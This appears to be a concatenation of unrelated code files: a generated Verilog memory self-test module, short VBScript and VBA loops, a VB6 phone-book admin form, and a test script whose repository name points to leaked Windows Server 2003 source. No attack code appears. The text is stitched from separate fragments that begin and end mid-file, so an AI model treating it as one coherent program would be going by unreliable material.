assign CNTR_A_LOOP1_WIRE[3] = 1'b1;
assign CNTR_A_LOOP1_WIRE[2] = 1'b0;
assign CNTR_A_LOOP1_WIRE[1] = 1'b1;
assign CNTR_A_LOOP1_WIRE[0] = 1'b0;
assign CNTR_A_LOOP2_WIRE[4] = 1'b0;
assign CNTR_A_LOOP2_WIRE[3] = 1'b0;
assign CNTR_A_LOOP2_WIRE[2] = 1'b0;
assign CNTR_A_LOOP2_WIRE[1] = 1'b0;
assign CNTR_A_LOOP2_WIRE[0] = 1'b0;
assign CNTR_A_LOOP3_WIRE[4] = 1'b0;
assign CNTR_A_LOOP3_WIRE[3] = 1'b0;
assign CNTR_A_LOOP3_WIRE[2] = 1'b0;
assign CNTR_A_LOOP3_WIRE[1] = 1'b0;
assign CNTR_A_LOOP3_WIRE[0] = 1'b0;
assign CNTR_A_MAX_REG = CNTR_A_MAX_WIRE;
assign CNTR_A_LOOP_POINTER_REG = CNTR_A_LOOP_POINTER_WIRE;
assign CNTR_A_LOOP1_REG[4] = CNTR_A_LOOP1_WIRE[4];
assign CNTR_A_LOOP1_REG[3] = CNTR_A_LOOP1_WIRE[3];
assign CNTR_A_LOOP1_REG[2] = CNTR_A_LOOP1_WIRE[2];
assign CNTR_A_LOOP1_REG[1] = CNTR_A_LOOP1_WIRE[1];
assign CNTR_A_LOOP1_REG[0] = CNTR_A_LOOP1_WIRE[0];
assign CNTR_A_LOOP2_REG[4] = CNTR_A_LOOP2_WIRE[4];
assign CNTR_A_LOOP2_REG[3] = CNTR_A_LOOP2_WIRE[3];
assign CNTR_A_LOOP2_REG[2] = CNTR_A_LOOP2_WIRE[2];
assign CNTR_A_LOOP2_REG[1] = CNTR_A_LOOP2_WIRE[1];
assign CNTR_A_LOOP2_REG[0] = CNTR_A_LOOP2_WIRE[0];
assign CNTR_A_LOOP3_REG[4] = CNTR_A_LOOP3_WIRE[4];
assign CNTR_A_LOOP3_REG[3] = CNTR_A_LOOP3_WIRE[3];
assign CNTR_A_LOOP3_REG[2] = CNTR_A_LOOP3_WIRE[2];
assign CNTR_A_LOOP3_REG[1] = CNTR_A_LOOP3_WIRE[1];
assign CNTR_A_LOOP3_REG[0] = CNTR_A_LOOP3_WIRE[0];
//-------------------------
// LOOP COUNTER B REGISTERS
//-------------------------
assign CNTR_B_MAX_WIRE = 2'b01;
assign CNTR_B_LOOP_POINTER_WIRE = 5'b01111;
assign CNTR_B_LOOP1_WIRE[4] = 1'b1;
assign CNTR_B_LOOP1_WIRE[3] = 1'b1;
assign CNTR_B_LOOP1_WIRE[2] = 1'b0;
assign CNTR_B_LOOP1_WIRE[1] = 1'b1;
assign CNTR_B_LOOP1_WIRE[0] = 1'b0;
assign CNTR_B_LOOP2_WIRE[4] = 1'b0;
assign CNTR_B_LOOP2_WIRE[3] = 1'b0;
assign CNTR_B_LOOP2_WIRE[2] = 1'b0;
assign CNTR_B_LOOP2_WIRE[1] = 1'b0;
assign CNTR_B_LOOP2_WIRE[0] = 1'b0;
assign CNTR_B_LOOP3_WIRE[4] = 1'b0;
assign CNTR_B_LOOP3_WIRE[3] = 1'b0;
assign CNTR_B_LOOP3_WIRE[2] = 1'b0;
assign CNTR_B_LOOP3_WIRE[1] = 1'b0;
assign CNTR_B_LOOP3_WIRE[0] = 1'b0;
assign CNTR_B_MAX_REG = CNTR_B_MAX_WIRE;
assign CNTR_B_LOOP_POINTER_REG = CNTR_B_LOOP_POINTER_WIRE;
assign CNTR_B_LOOP1_REG[4] = CNTR_B_LOOP1_WIRE[4];
assign CNTR_B_LOOP1_REG[3] = CNTR_B_LOOP1_WIRE[3];
assign CNTR_B_LOOP1_REG[2] = CNTR_B_LOOP1_WIRE[2];
assign CNTR_B_LOOP1_REG[1] = CNTR_B_LOOP1_WIRE[1];
assign CNTR_B_LOOP1_REG[0] = CNTR_B_LOOP1_WIRE[0];
assign CNTR_B_LOOP2_REG[4] = CNTR_B_LOOP2_WIRE[4];
assign CNTR_B_LOOP2_REG[3] = CNTR_B_LOOP2_WIRE[3];
assign CNTR_B_LOOP2_REG[2] = CNTR_B_LOOP2_WIRE[2];
assign CNTR_B_LOOP2_REG[1] = CNTR_B_LOOP2_WIRE[1];
assign CNTR_B_LOOP2_REG[0] = CNTR_B_LOOP2_WIRE[0];
assign CNTR_B_LOOP3_REG[4] = CNTR_B_LOOP3_WIRE[4];
assign CNTR_B_LOOP3_REG[3] = CNTR_B_LOOP3_WIRE[3];
assign CNTR_B_LOOP3_REG[2] = CNTR_B_LOOP3_WIRE[2];
assign CNTR_B_LOOP3_REG[1] = CNTR_B_LOOP3_WIRE[1];
assign CNTR_B_LOOP3_REG[0] = CNTR_B_LOOP3_WIRE[0];
//-----------------------------
// Increment Counter A function
//-----------------------------
function automatic [1:0] INC_FUNCTION_FOR_CNTR_A;
input [1:0] COUNT;
reg TOGGLE;
integer i;
begin
INC_FUNCTION_FOR_CNTR_A[0] = ~COUNT[0];
TOGGLE = 1;
for (i=1; i<=1; i=i+1) begin
TOGGLE = COUNT[i-1] & TOGGLE;
INC_FUNCTION_FOR_CNTR_A[i] = COUNT[i] ^ TOGGLE;
end
end
endfunction
//-----------------------------
// Increment Counter B function
//-----------------------------
function automatic [1:0] INC_FUNCTION_FOR_CNTR_B;
input [1:0] COUNT;
reg TOGGLE;
integer i;
begin
INC_FUNCTION_FOR_CNTR_B[0] = ~COUNT[0];
TOGGLE = 1;
for (i=1; i<=1; i=i+1) begin
TOGGLE = COUNT[i-1] & TOGGLE;
INC_FUNCTION_FOR_CNTR_B[i] = COUNT[i] ^ TOGGLE;
end
end
endfunction
endmodule // SMARCHCHKB_LVISION_MBISTPG_REPEAT_LOOP_CNTRL
/*------------------------------------------------------------------------------
Module : SMARCHCHKB_LVISION_MBISTPG_DATA_GEN
Description : This module contains the data generator block.
-------------------------------------------------------- (c) Mentor Graphics */
module SMARCHCHKB_LVISION_MBISTPG_DATA_GEN (
//inputs
BIST_CLK ,
BIST_HOLD ,
BIST_ASYNC_RESETN ,
RESET_REG_DEFAULT_MODE ,
WDATA_CMD ,
EDATA_CMD ,
ROW_ADDRESS ,
COLUMN_ADDRESS ,
LAST_TICK ,
BIST_WRITEENABLE ,
BIST_RUN ,
BIST_SHIFT_SHORT ,
SI ,
BIST_ALGO_SEL_CNT ,
//outputs
SO ,
WRITE_DATA ,
EXPECT_DATA
);
input BIST_CLK;
input BIST_HOLD;
input BIST_ASYNC_RESETN;
input RESET_REG_DEFAULT_MODE;
input [3:0] WDATA_CMD;
input [3:0] EDATA_CMD;
input [9:0] ROW_ADDRESS;
input [2:0] COLUMN_ADDRESS;
input LAST_TICK;
input BIST_RUN;
input BIST_SHIFT_SHORT;
input SI;
input BIST_ALGO_SEL_CNT;
output SO;
output [1:0] WRITE_DATA;
output [1:0] EXPECT_DATA;
input BIST_WRITEENABLE;
wire [1:0] MEMORY_CONTENT;
reg [1:0] WRITE_DATA_INT;
wire [1:0] WRITE_DATA;
reg [1:0] EXPECT_DATA_INT;
wire [1:0] EXPECT_DATA;
wire [3:0] EDATA_CMD_SELECTED;
wire [3:0] WDATA_CMD_SELECTED;
wire WDATA_ROT;
wire WDATA_INV_FDBK;
wire EDATA_ROT;
wire EDATA_INV_FDBK;
wire WDATA_SHIFT;
wire EDATA_SHIFT;
wire WDATA_SELECT_ZEROS_REG;
wire [1:0] WDATA_REG_SELECTED;
wire WDATA_INVERT;
wire EDATA_SELECT_ZEROS_REG;
wire [1:0] EDATA_REG_SELECTED;
wire EDATA_INVERT;
wire EDATA_SI;
wire WDATA_SI;
wire [9:0] X_ADDR_BIT_SEL_DECODED;
wire [2:0] Y_ADDR_BIT_SEL_DECODED;
wire WDATA_EN_ADDR_BIT_INVERSION;
wire EDATA_EN_ADDR_BIT_INVERSION;
wire EN_ADDR_BIT_INVERSION;
reg [1:0] EDATA_REG;
reg [1:0] WDATA_REG;
reg [3:0] X_ADDR_BIT_SEL_REG;
reg [1:0] Y_ADDR_BIT_SEL_REG;
reg RESET_REG_DEFAULT_MODE_REG;
wire [3:0] X_ADDR_BIT_SEL_WIRE;
wire [1:0] Y_ADDR_BIT_SEL_WIRE;
assign SO = Y_ADDR_BIT_SEL_REG[1];
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
RESET_REG_DEFAULT_MODE_REG <= 1'b0;
else
RESET_REG_DEFAULT_MODE_REG <= RESET_REG_DEFAULT_MODE;
end
//
// ExpectDataCmd Decode
// ---------------- -------
// DataReg 4'b0000
// InverseDataReg 4'b0001
// Zero 4'b0010
// One 4'b0011
// DataReg_Rotate 4'b0100
// InverseDataReg_Rotate 4'b0101
// DataReg_RotateWithInvert 4'b0110
// InverseDataReg_RotateWithInvert 4'b0111
// Set_DataReg 4'b1000
// Reset_DataReg 4'b1001
// Memory_Content 4'b1010
//
//------------------------
//-- Write Data Command --
//------------------------
assign WDATA_CMD_SELECTED = WDATA_CMD;
//-------------------------
//-- Expect Data Command --
//-------------------------
assign EDATA_CMD_SELECTED = EDATA_CMD;
//-------------------------
//-- Write Data Register --
//-------------------------
assign WDATA_ROT = (WDATA_CMD_SELECTED == 4'b0100) |
(WDATA_CMD_SELECTED == 4'b0101) |
(WDATA_CMD_SELECTED == 4'b0110) |
(WDATA_CMD_SELECTED == 4'b0111) ;
assign WDATA_INV_FDBK = (WDATA_CMD_SELECTED == 4'b0110) |
(WDATA_CMD_SELECTED == 4'b0111) ;
assign WDATA_SHIFT = (BIST_SHIFT_SHORT) | ( LAST_TICK & WDATA_ROT & BIST_RUN);
assign WDATA_SI = (BIST_SHIFT_SHORT) ? SI :
WDATA_ROT & (WDATA_INV_FDBK ^ WDATA_REG[1]);
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
WDATA_REG <= 2'b00;
else
if (RESET_REG_DEFAULT_MODE_REG & BIST_ALGO_SEL_CNT)
WDATA_REG <= 2'b10; // Algorithm: SMARCHCHKB
else
if (WDATA_SHIFT)
WDATA_REG <= {WDATA_REG[0:0], WDATA_SI};
end
//--------------------------
//-- Expect Data Register --
//--------------------------
assign EDATA_ROT = (EDATA_CMD_SELECTED == 4'b0100) |
(EDATA_CMD_SELECTED == 4'b0101) |
(EDATA_CMD_SELECTED == 4'b0110) |
(EDATA_CMD_SELECTED == 4'b0111) ;
assign EDATA_INV_FDBK = (EDATA_CMD_SELECTED == 4'b0110) |
(EDATA_CMD_SELECTED == 4'b0111) ;
assign EDATA_SHIFT = (BIST_SHIFT_SHORT) | ( LAST_TICK & EDATA_ROT & BIST_RUN);
assign EDATA_SI = (BIST_SHIFT_SHORT) ? WDATA_REG[1] :
EDATA_ROT & (EDATA_INV_FDBK ^ EDATA_REG[1]);
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
EDATA_REG <= 2'b00;
else
if (RESET_REG_DEFAULT_MODE_REG & BIST_ALGO_SEL_CNT)
EDATA_REG <= 2'b10; // Algorithm: SMARCHCHKB
else
if (EDATA_SHIFT)
EDATA_REG <= {EDATA_REG[0:0], EDATA_SI};
end
//----------------------------------
//-- Write Data for MemoryContent --
//----------------------------------
assign MEMORY_CONTENT = 2'b00; // BitSliceWidth: 1
//---------------------------
//-- Write Data Generation --
//---------------------------
always @ (MEMORY_CONTENT or WDATA_CMD_SELECTED or WDATA_REG or WDATA_EN_ADDR_BIT_INVERSION) begin
case (WDATA_CMD_SELECTED)
4'b0001,
4'b0101,
4'b0111: WRITE_DATA_INT = ~WDATA_REG ^ {2{ WDATA_EN_ADDR_BIT_INVERSION }};
4'b0011: WRITE_DATA_INT = ~2'b00 ^ {2{ WDATA_EN_ADDR_BIT_INVERSION }};
4'b0010: WRITE_DATA_INT = 2'b00 ^ {2{ WDATA_EN_ADDR_BIT_INVERSION }};
4'b1000: WRITE_DATA_INT = ~(2'b00);
4'b1001: WRITE_DATA_INT = 2'b00;
4'b1010: WRITE_DATA_INT = MEMORY_CONTENT;
default: WRITE_DATA_INT = WDATA_REG ^ {2{ WDATA_EN_ADDR_BIT_INVERSION }};
endcase
end
assign WRITE_DATA = WRITE_DATA_INT;
//----------------------------
//-- Expect Data Generation --
//----------------------------
always @ (MEMORY_CONTENT or EDATA_CMD_SELECTED or EDATA_REG or EDATA_EN_ADDR_BIT_INVERSION) begin
case (EDATA_CMD_SELECTED)
4'b0001,
4'b0101,
4'b0111: EXPECT_DATA_INT = ~EDATA_REG ^ {2{ EDATA_EN_ADDR_BIT_INVERSION }};
4'b0011: EXPECT_DATA_INT = ~2'b00 ^ {2{ EDATA_EN_ADDR_BIT_INVERSION }};
4'b0010: EXPECT_DATA_INT = 2'b00 ^ {2{ EDATA_EN_ADDR_BIT_INVERSION }};
4'b1000: EXPECT_DATA_INT = ~(2'b00);
4'b1001: EXPECT_DATA_INT = 2'b00;
4'b1010: EXPECT_DATA_INT = MEMORY_CONTENT;
default: EXPECT_DATA_INT = EDATA_REG ^ {2{ EDATA_EN_ADDR_BIT_INVERSION }};
endcase
end
assign EXPECT_DATA = EXPECT_DATA_INT;
// Decode address bit for inversion
assign X_ADDR_BIT_SEL_DECODED[9] = (X_ADDR_BIT_SEL_REG == 4'b1010);
assign X_ADDR_BIT_SEL_DECODED[8] = (X_ADDR_BIT_SEL_REG == 4'b1001);
assign X_ADDR_BIT_SEL_DECODED[7] = (X_ADDR_BIT_SEL_REG == 4'b1000);
assign X_ADDR_BIT_SEL_DECODED[6] = (X_ADDR_BIT_SEL_REG == 4'b0111);
assign X_ADDR_BIT_SEL_DECODED[5] = (X_ADDR_BIT_SEL_REG == 4'b0110);
assign X_ADDR_BIT_SEL_DECODED[4] = (X_ADDR_BIT_SEL_REG == 4'b0101);
assign X_ADDR_BIT_SEL_DECODED[3] = (X_ADDR_BIT_SEL_REG == 4'b0100);
assign X_ADDR_BIT_SEL_DECODED[2] = (X_ADDR_BIT_SEL_REG == 4'b0011);
assign X_ADDR_BIT_SEL_DECODED[1] = (X_ADDR_BIT_SEL_REG == 4'b0010);
assign X_ADDR_BIT_SEL_DECODED[0] = (X_ADDR_BIT_SEL_REG == 4'b0001);
assign Y_ADDR_BIT_SEL_DECODED[2] = (Y_ADDR_BIT_SEL_REG == 2'b11);
assign Y_ADDR_BIT_SEL_DECODED[1] = (Y_ADDR_BIT_SEL_REG == 2'b10);
assign Y_ADDR_BIT_SEL_DECODED[0] = (Y_ADDR_BIT_SEL_REG == 2'b01);
// Address bit inversion mask
assign EN_ADDR_BIT_INVERSION = (|(X_ADDR_BIT_SEL_DECODED & ROW_ADDRESS)) ^ (|(Y_ADDR_BIT_SEL_DECODED & COLUMN_ADDRESS));
//
// An MCP can be declared through the EN_ADDR_BIT_INVERSION persistent buffer
// ONLY if no operation is writing in the first TICK.
// If any operation writes in the first TICK, this creates an SCP path
// through this buffer.
//
//--------------------------
//-- Write Data Inversion --
//--------------------------
assign WDATA_EN_ADDR_BIT_INVERSION = EN_ADDR_BIT_INVERSION;
//---------------------------
//-- Expect Data Inversion --
//---------------------------
assign EDATA_EN_ADDR_BIT_INVERSION = EN_ADDR_BIT_INVERSION;
// Select row bit to invert
assign X_ADDR_BIT_SEL_WIRE = 4'b0001; // Algorithm: SMARCHCHKB
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
X_ADDR_BIT_SEL_REG <= 4'b0000;
else
if (RESET_REG_DEFAULT_MODE_REG & BIST_ALGO_SEL_CNT) begin
X_ADDR_BIT_SEL_REG <= X_ADDR_BIT_SEL_WIRE;
end
else begin
if (BIST_SHIFT_SHORT) begin
X_ADDR_BIT_SEL_REG <= {X_ADDR_BIT_SEL_REG[2:0], EDATA_REG[1]};
end
end
end
// Select column bit to invert
assign Y_ADDR_BIT_SEL_WIRE = 2'b00; // Algorithm: SMARCHCHKB
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
Y_ADDR_BIT_SEL_REG <= 2'b00;
else
if (RESET_REG_DEFAULT_MODE_REG & BIST_ALGO_SEL_CNT) begin
Y_ADDR_BIT_SEL_REG <= Y_ADDR_BIT_SEL_WIRE;
end
else begin
if (BIST_SHIFT_SHORT) begin
Y_ADDR_BIT_SEL_REG <= {Y_ADDR_BIT_SEL_REG[0:0], X_ADDR_BIT_SEL_REG[3]};
end
end
end
endmodule // SMARCHCHKB_LVISION_MBISTPG_DATA_GEN
|
Dim a, b, i
Do
a = Int(Rnd * 20)
WScript.StdOut.Write a
If a = 10 Then Exit Do
b = Int(Rnd * 20)
WScript.Echo vbNullString, b
Loop
For i = 1 To 100000
a = Int(Rnd * 20)
WScript.StdOut.Write a
If a = 10 Then Exit For
b = Int(Rnd * 20)
WScript.Echo vbNullString, b
Next
|
VERSION 5.00
Object = "{F9043C88-F6F2-101A-A3C9-08002B2F49FB}#1.2#0"; "COMDLG32.OCX"
Object = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}#1.3#0"; "COMCTL32.OCX"
Begin VB.Form frmdelta
BorderStyle = 3 'Fixed Dialog
Caption = "vew"
ClientHeight = 5205
ClientLeft = 1830
ClientTop = 1350
ClientWidth = 7155
Icon = "delta.frx":0000
KeyPreview = -1 'True
LinkTopic = "Form1"
MaxButton = 0 'False
MinButton = 0 'False
PaletteMode = 1 'UseZOrder
ScaleHeight = 5205
ScaleWidth = 7155
ShowInTaskbar = 0 'False
WhatsThisButton = -1 'True
WhatsThisHelp = -1 'True
Begin ComctlLib.ListView lvDelta
Height = 3855
Left = 120
TabIndex = 5
Top = 720
WhatsThisHelpID = 11010
Width = 7095
_ExtentX = 12515
_ExtentY = 6800
View = 3
LabelEdit = 1
LabelWrap = -1 'True
HideSelection = 0 'False
_Version = 327682
ForeColor = -2147483640
BackColor = -2147483643
BorderStyle = 1
Appearance = 1
NumItems = 11
BeginProperty ColumnHeader(1) {0713E8C7-850A-101B-AFC0-4210102A8DA7}
Key = ""
Object.Tag = ""
Text = "access id"
Object.Width = 1411
EndProperty
BeginProperty ColumnHeader(2) {0713E8C7-850A-101B-AFC0-4210102A8DA7}
SubItemIndex = 1
Key = ""
Object.Tag = ""
Text = "Country"
Object.Width = 3704
EndProperty
BeginProperty ColumnHeader(3) {0713E8C7-850A-101B-AFC0-4210102A8DA7}
SubItemIndex = 2
Key = ""
Object.Tag = ""
Text = "Regionid"
Object.Width = 1499
EndProperty
BeginProperty ColumnHeader(4) {0713E8C7-850A-101B-AFC0-4210102A8DA7}
SubItemIndex = 3
Key = ""
Object.Tag = ""
Text = "popname"
Object.Width = 1587
EndProperty
BeginProperty ColumnHeader(5) {0713E8C7-850A-101B-AFC0-4210102A8DA7}
SubItemIndex = 4
Key = ""
Object.Tag = ""
Text = "area code"
Object.Width = 1587
EndProperty
BeginProperty ColumnHeader(6) {0713E8C7-850A-101B-AFC0-4210102A8DA7}
SubItemIndex = 5
Key = ""
Object.Tag = ""
Text = "access num"
Object.Width = 1764
EndProperty
BeginProperty ColumnHeader(7) {0713E8C7-850A-101B-AFC0-4210102A8DA7}
SubItemIndex = 6
Key = ""
Object.Tag = ""
Text = "minimum speed"
Object.Width = 1587
EndProperty
BeginProperty ColumnHeader(8) {0713E8C7-850A-101B-AFC0-4210102A8DA7}
SubItemIndex = 7
Key = ""
Object.Tag = ""
Text = "maximum speek"
Object.Width = 1587
EndProperty
BeginProperty ColumnHeader(9) {0713E8C7-850A-101B-AFC0-4210102A8DA7}
SubItemIndex = 8
Key = ""
Object.Tag = ""
Text = "flip/reserved"
Object.Width = 1235
EndProperty
BeginProperty ColumnHeader(10) {0713E8C7-850A-101B-AFC0-4210102A8DA7}
SubItemIndex = 9
Key = ""
Object.Tag = ""
Text = "flags"
Object.Width = 1235
EndProperty
BeginProperty ColumnHeader(11) {0713E8C7-850A-101B-AFC0-4210102A8DA7}
SubItemIndex = 10
Key = ""
Object.Tag = ""
Text = "dialup entry"
Object.Width = 2381
EndProperty
End
Begin VB.ComboBox cmbSelect
Height = 315
Left = 1440
Style = 2 'Dropdown List
TabIndex = 1
Top = 195
WhatsThisHelpID = 11000
Width = 2835
End
Begin VB.CommandButton cmbCancel
Cancel = -1 'True
Caption = "close"
Height = 375
Left = 5520
TabIndex = 4
Top = 4680
WhatsThisHelpID = 10020
Width = 1695
End
Begin VB.CommandButton cmbdprint
Caption = "print"
Height = 375
Left = 1680
TabIndex = 2
Top = 4680
WhatsThisHelpID = 10050
Width = 1695
End
Begin VB.CommandButton cmbSave
Caption = "save"
Height = 375
Left = 3600
TabIndex = 3
Top = 4680
WhatsThisHelpID = 11020
Width = 1695
End
Begin MSComDlg.CommonDialog cmdialog
Left = 2040
Top = 4680
_ExtentX = 847
_ExtentY = 847
_Version = 393216
End
Begin VB.Label ListLabel
Alignment = 1 'Right Justify
Caption = "file"
Height = 255
Left = 120
TabIndex = 0
Top = 225
WhatsThisHelpID = 11000
Width = 1215
End
End
Attribute VB_Name = "frmdelta"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Option Explicit
Private Sub Form_Load()
Dim sqlstm As String
Dim rsversion As Recordset
Dim version As Integer
Dim deltacount As Integer
Dim intX As Integer
On Error GoTo LoadErr
CenterForm Me, Screen
LoadDeltaResources
cmbSelect.ItemData(0) = 0
Set rsversion = gsyspb.OpenRecordset("Select max(DeltaNum) as HiVersion from Delta WHERE NewVersion=0")
If IsNull(rsversion!HiVersion) Then
version = 0
Else
version = rsversion!HiVersion
End If
rsversion.Close
Set rsversion = Nothing
If version > 1 Then
If version < 6 Then
deltacount = version - 1
Else
deltacount = 5
End If
For intX = 1 To deltacount
cmbSelect.AddItem LoadResString(5206) & " " & version - 1
cmbSelect.ItemData(intX) = version
version = version - 1
Next
End If
'FillDeltaList
Screen.MousePointer = 0
Exit Sub
LoadErr:
Screen.MousePointer = 0
Exit Sub
End Sub
Function LoadDeltaResources()
On Error GoTo LoadErr
'column headers
lvDelta.ColumnHeaders(1).Text = LoadResString(6061) ' Access ID
lvDelta.ColumnHeaders(2).Text = LoadResString(6062) ' Country
lvDelta.ColumnHeaders(3).Text = LoadResString(6063) ' RegionID
lvDelta.ColumnHeaders(4).Text = LoadResString(6064) ' Pop Name
lvDelta.ColumnHeaders(5).Text = LoadResString(6065) ' Area Code
lvDelta.ColumnHeaders(6).Text = LoadResString(6066) ' Access Number
lvDelta.ColumnHeaders(7).Text = LoadResString(6067) ' Min Speed
lvDelta.ColumnHeaders(8).Text = LoadResString(6068) ' Max Speed
lvDelta.ColumnHeaders(9).Text = LoadResString(6069) ' Flip (reserved)
lvDelta.ColumnHeaders(10).Text = LoadResString(6070) ' Flags
lvDelta.ColumnHeaders(11).Text = LoadResString(6071) ' Dialup Entry
Me.Caption = LoadResString(5208) & " " & gsCurrentPB
ListLabel.Caption = LoadResString(5209)
cmbdprint.Caption = LoadResString(1008)
cmbSave.Caption = LoadResString(1014)
cmbCancel.Caption = LoadResString(1005)
cmbSelect.AddItem LoadResString(5207)
cmbSelect.Text = LoadResString(5207)
' set fonts
SetFonts Me
lvDelta.Font.Charset = gfnt.Charset
lvDelta.Font.Name = gfnt.Name
lvDelta.Font.Size = gfnt.Size
On Error GoTo 0
Exit Function
LoadErr:
Exit Function
End Function
Private Sub cmbCancel_Click()
CloseDB
Unload Me
End Sub
Private Sub CloseDB()
rsDataDelta.Close
dbDataDelta.Close
set temp = Nothing
End Sub
Private Sub cmbdprint_Click()
Dim X As Printer
Dim linecount As Integer
Dim sqlstm As String
Dim fieldnum As Integer
Dim renewmaster As Recordset
On Error GoTo ErrTrap
Screen.MousePointer = 13
cmbdprint.Enabled = False
' popup print screen, set parms and print
Load frmPrinting
frmPrinting.JobType = 1
frmPrinting.JobParm1 = cmbSelect.ListIndex
frmPrinting.Show vbModal
cmbdprint.Enabled = True
cmbdprint.SetFocus
Screen.MousePointer = 0
Exit Sub
ErrTrap:
cmbdprint.Enabled = True
Screen.MousePointer = 0
Exit Sub
End Sub
Private Sub cmbSelect_Click()
Dim AccessID As String, CountryNum As String, RegionID As String, POPName As String
Dim AreaCode As String, AccessNum As String, strStatus As String, MinSpeed As String
Dim MaxSpeed As String, Flip As String, Flags As String, DialUp As String
Dim Comments As String
Dim sqlstm As String, renewsql As String
Dim deltanum As Integer
AccessID = LoadResString(6061)
CountryNum = LoadResString(6062)
RegionID = LoadResString(6063)
POPName = LoadResString(6064)
AreaCode = LoadResString(6065)
AccessNum = LoadResString(6066)
MinSpeed = LoadResString(6067)
MaxSpeed = LoadResString(6068)
Flip = LoadResString(6069)
Flags = LoadResString(6070)
DialUp = LoadResString(6071)
strStatus = LoadResString(6072)
Comments = LoadResString(6074)
If cmbSelect.Text <> "" Then
deltanum = cmbSelect.ItemData(cmbSelect.ListIndex)
If deltanum = 0 Then
renewsql = "SELECT AccessNumberId, CountryNumber, RegionId, CityName, AreaCode, " & _
"AccessNumber, Status, MinimumSpeed, Maximumspeed, flipFactor, Flags, " & _
"ScriptID, Comments FROM DialUpPort WHERE Status = '1' order by AccessNumberId "
Set temp = gsyspb.OpenRecordset(renewsql, dbOpenSnapshot)
Else
sqlstm = "SELECT delta.* From delta WHERE delta.DeltaNum = " & deltanum & " and delta.NewVersion <> 1 order by AccessNumberId"
renewsql = "SELECT delta.AccessNumberId, delta.CountryNumber, delta.RegionId, " & _
"delta.CityName, delta.AreaCode, delta.AccessNumber, delta.MinimumSpeed, " & _
"delta.MaximumSpeed, delta.Flipfactor, delta.Flags, delta.ScriptId " & _
"FROM delta WHERE delta.DeltaNum = " & deltanum & _
" and delta.NewVersion <> 1 order by AccessNumberId"
Set temp = gsyspb.OpenRecordset(sqlstm, dbOpenSnapshot)
End If
'new
Set dbDataDelta = OpenDatabase(gsCurrentPBPath)
Set rsDataDelta = dbDataDelta.OpenRecordset(renewsql)
FillDeltaList
If rsDataDelta.RecordCount <> 0 Then
cmbdprint.Enabled = True
cmbSave.Enabled = True
Else
cmbdprint.Enabled = False
cmbSave.Enabled = False
End If
End If
End Sub
' Save_Click()
Private Sub cmbSave_Click()
Dim filesaveas As String
Dim renewset As Recordset
Dim intX As Integer
On Error GoTo ErrTrap
cmdialog.FileName = ""
cmdialog.Flags = cdlOFNHideReadOnly
cmdialog.Filter = "*.pbk | *.pbk"
cmdialog.FilterIndex = 1
cmdialog.ShowSave
filesaveas = cmdialog.FileName
If filesaveas = "" Then Exit Sub
Screen.MousePointer = 11
If CheckPath(filesaveas) = 0 Then
intX = MsgBox(LoadResString(6020) & Chr(13) & filesaveas & Chr$(13) & _
LoadResString(6021), _
vbQuestion + vbYesNo + vbDefaultButton2)
If intX = 7 Then
Screen.MousePointer = 0
Exit Sub
End If
End If
If cmbSelect.ListIndex = 0 Then
Set renewset = gsyspb.OpenRecordset("DialUpPort", dbOpenSnapshot)
masterOutfile filesaveas, renewset
renewset.Close
Else
deltaoutfile filesaveas, temp
End If
Screen.MousePointer = 0
Exit Sub
ErrTrap:
Screen.MousePointer = 0
If Err.Number = 32755 Then
Exit Sub
ElseIf Err.Number = 75 Then
MsgBox LoadResString(6022), vbInformation
Exit Sub
Else
Exit Sub
End If
End Sub
Private Sub Form_KeyPress(KeyAscii As Integer)
CheckChar KeyAscii
End Sub
Function FillDeltaList() As Integer
Dim strTemp As String
Dim intRow, intX As Integer
Dim itmX As ListItem
On Error GoTo ErrTrap
If gsCurrentPB = "" Then
lvDelta.ListItems.Clear
Exit Function
End If
Me.Enabled = False
Screen.MousePointer = 11
If rsDataDelta.BOF = False Then
rsDataDelta.MoveLast
'If rsDataDelta.RecordCount > 50 Then RefreshPBLabel "loading"
lvDelta.ListItems.Clear
lvDelta.Sorted = False
rsDataDelta.MoveFirst
Do While Not rsDataDelta.EOF
Set itmX = lvDelta.ListItems.Add()
With itmX
.Text = rsDataDelta!AccessNumberId
.SubItems(1) = rsDataDelta!CountryNumber
.SubItems(2) = rsDataDelta!RegionID
.SubItems(3) = rsDataDelta!CityName
.SubItems(4) = rsDataDelta!AreaCode
.SubItems(5) = rsDataDelta!AccessNumber
'.SubItems(5) = gStatusText(rsDataDelta!status)
.SubItems(6) = rsDataDelta!MinimumSpeed
.SubItems(7) = rsDataDelta!MaximumSpeed
.SubItems(8) = rsDataDelta!FlipFactor
.SubItems(9) = rsDataDelta!Flags
.SubItems(10) = rsDataDelta!ScriptID
'.SubItems(9) = rsDataDelta!ScriptId
'.SubItems(9) = rsDataDelta!Comments
strTemp = "Key:" & rsDataDelta!AccessNumberId
.Key = strTemp
End With
If rsDataDelta.AbsolutePosition Mod 300 = 0 Then DoEvents
rsDataDelta.MoveNext
Loop
Else
lvDelta.ListItems.Clear
End If
lvDelta.Sorted = True
Me.Enabled = True
Screen.MousePointer = 0
Exit Function
ErrTrap:
Me.Enabled = True
FillDeltaList = 1
Screen.MousePointer = 0
Exit Function
End Function
|
<reponame>npocmaka/Windows-Server-2003<filename>enduser/sakit/sak/drivers/test/vbscript/display.vbs
Set Display = CreateObject("sacom.sadisplay")
wscript.echo "Display width = " & Display.DisplayWidth
wscript.echo "Display height = " & Display.DisplayHeight
Display.ShowMessageFromFile 0, WScript.Arguments(0)
|
Sub aaa()
While True
Debug.Print "a";
Wend
End Sub
|
'//+----------------------------------------------------------------------------
'//
'// File: newpb.frm
'//
'// Module: pbadmin.exe
'//
